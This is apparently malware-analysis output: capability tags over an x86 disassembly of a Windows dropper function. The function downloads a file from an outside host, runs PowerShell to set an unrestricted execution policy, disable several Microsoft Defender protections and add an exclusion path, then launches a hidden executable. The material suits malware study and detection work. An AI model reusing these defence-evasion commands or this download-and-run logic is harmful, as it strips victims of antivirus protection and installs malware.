Function at 0x405359
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x45c36d
mov eax, dword fs:[0]
push eax
sub esp, 0x240
mov eax, dword [0x46c018]
xor eax, esp
mov dword [esp + 0x238], eax
push ebx
push esi
push edi
mov eax, dword [0x46c018]
xor eax, esp
push eax
lea eax, [esp + 0x250]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
call dword [sym.imp.mfc100.dll_Ordinal_1890]
pop ecx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x4c]
call fcn.00401033
push 0xf
mov dword [esp + 0x25c], ebx
pop esi
mov eax, str.C:UsersPublicMusicherthren.dat
lea ecx, [esp + 0x30]
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
call fcn.00401304
mov byte [esp + 0x258], 1
mov eax, str.http:__download.linuxroot.site_download_4130.dat
lea ecx, [esp + 0x14]
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
call fcn.00401304
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x54]
mov byte [esp + 0x260], 2
call fcn.004011ea
push 1
xor edi, edi
lea esi, [esp + 0x18]
call fcn.00401376
push 1
lea esi, [esp + 0x34]
mov byte [esp + 0x25c], bl
call fcn.00401376
lea ecx, [esp + 0x4c]
call fcn.004010a4
mov dword [esp + 0x98], 0x6e65706f
mov byte [esp + 0x9c], bl
mov dword [esp + 0xa0], 0x65776f70
mov dword [esp + 0xa4], 0x65687372
mov dword [esp + 0xa8], 0x652e6c6c
mov word [esp + 0xac], 0x6578
mov byte [esp + 0xae], bl
mov dword [esp + 0xb0], 0x2d746553
mov dword [esp + 0xb4], 0x63657845
mov dword [esp + 0xb8], 0x6f697475
mov dword [esp + 0xbc], 0x6c6f506e
mov dword [esp + 0xc0], 0x20796369
mov dword [esp + 0xc4], 0x65726e55
mov dword [esp + 0xc8], 0x69727473
mov dword [esp + 0xcc], 0x64657463
mov byte [esp + 0xd0], bl
mov dword [esp + 0xd4], 0x2d746553
mov dword [esp + 0xd8], 0x7250704d
mov dword [esp + 0xdc], 0x72656665
mov dword [esp + 0xe0], 0x65636e65
mov dword [esp + 0xe4], 0x69442d20
mov dword [esp + 0xe8], 0x6c626173
mov dword [esp + 0xec], 0x61655265
mov dword [esp + 0xf0], 0x6d69746c
mov dword [esp + 0xf4], 0x6e6f4d65
mov dword [esp + 0xf8], 0x726f7469
mov dword [esp + 0xfc], 0x20676e69
mov dword [esp + 0x100], 0x75727424
mov word [esp + 0x104], 0x65
mov dword [esp + 0x108], 0x2d746553
mov dword [esp + 0x10c], 0x7250704d
mov dword [esp + 0x110], 0x72656665
mov dword [esp + 0x114], 0x65636e65
mov dword [esp + 0x118], 0x69442d20
mov dword [esp + 0x11c], 0x6c626173
mov dword [esp + 0x120], 0x68654265
mov dword [esp + 0x124], 0x6f697661
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
push ebx
lea eax, [esp + 0xb8]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
mov dword [esp + 0x140], 0x6e6f4d72
mov dword [esp + 0x144], 0x726f7469
mov dword [esp + 0x148], 0x20676e69
mov dword [esp + 0x14c], 0x72742420
mov word [esp + 0x150], 0x6575
mov byte [esp + 0x152], bl
call esi
push ebx
push ebx
lea eax, [esp + 0xdc]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
lea eax, [esp + 0x110]
push eax
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
push str.Set_MpPreference__DisableBlockAtFirstSeen___true
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
push str.Set_MpPreference__DisableIOAVProtection___true
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
push str.Set_MpPreference__DisablePrivacyMode___true
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
push str.Set_MpPreference__MAPSReporting_0
lea eax, [esp + 0xac]
push eax
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push ebx
push ebx
push str.Add_MpPreference__ExclusionPath_C:UsersPublichideCheckServer__Force
push str.powershell.exe
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
call fcn.00405213
call fcn.004052bd
mov edi, dword [sym.imp.MSVCR100.dll_strcat]
push str.hideCheckServerTcs.exe
push str.C:UsersPublicPictures
call edi
pop ecx
pop ecx
push 5
push ebx
push 0x467e90
push str.C:UsersPublicPictures
lea eax, [esp + 0xa8]
push eax
push ebx
call esi
push 0x103
lea eax, [esp + 0x141]
push ebx
push eax
mov byte [esp + 0x148], bl
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x140]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x13c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
mov esi, str.C:UsersPublic_
push esi
call edi
pop ecx
pop ecx
push esi
mov eax, 0x469b04
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
lea ecx, [esp + 0x4c]
call fcn.0040107a
xor eax, eax
mov ecx, dword [esp + 0x250]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x238]
xor ecx, esp
call fcn.00405956
mov esp, ebp
pop ebp
ret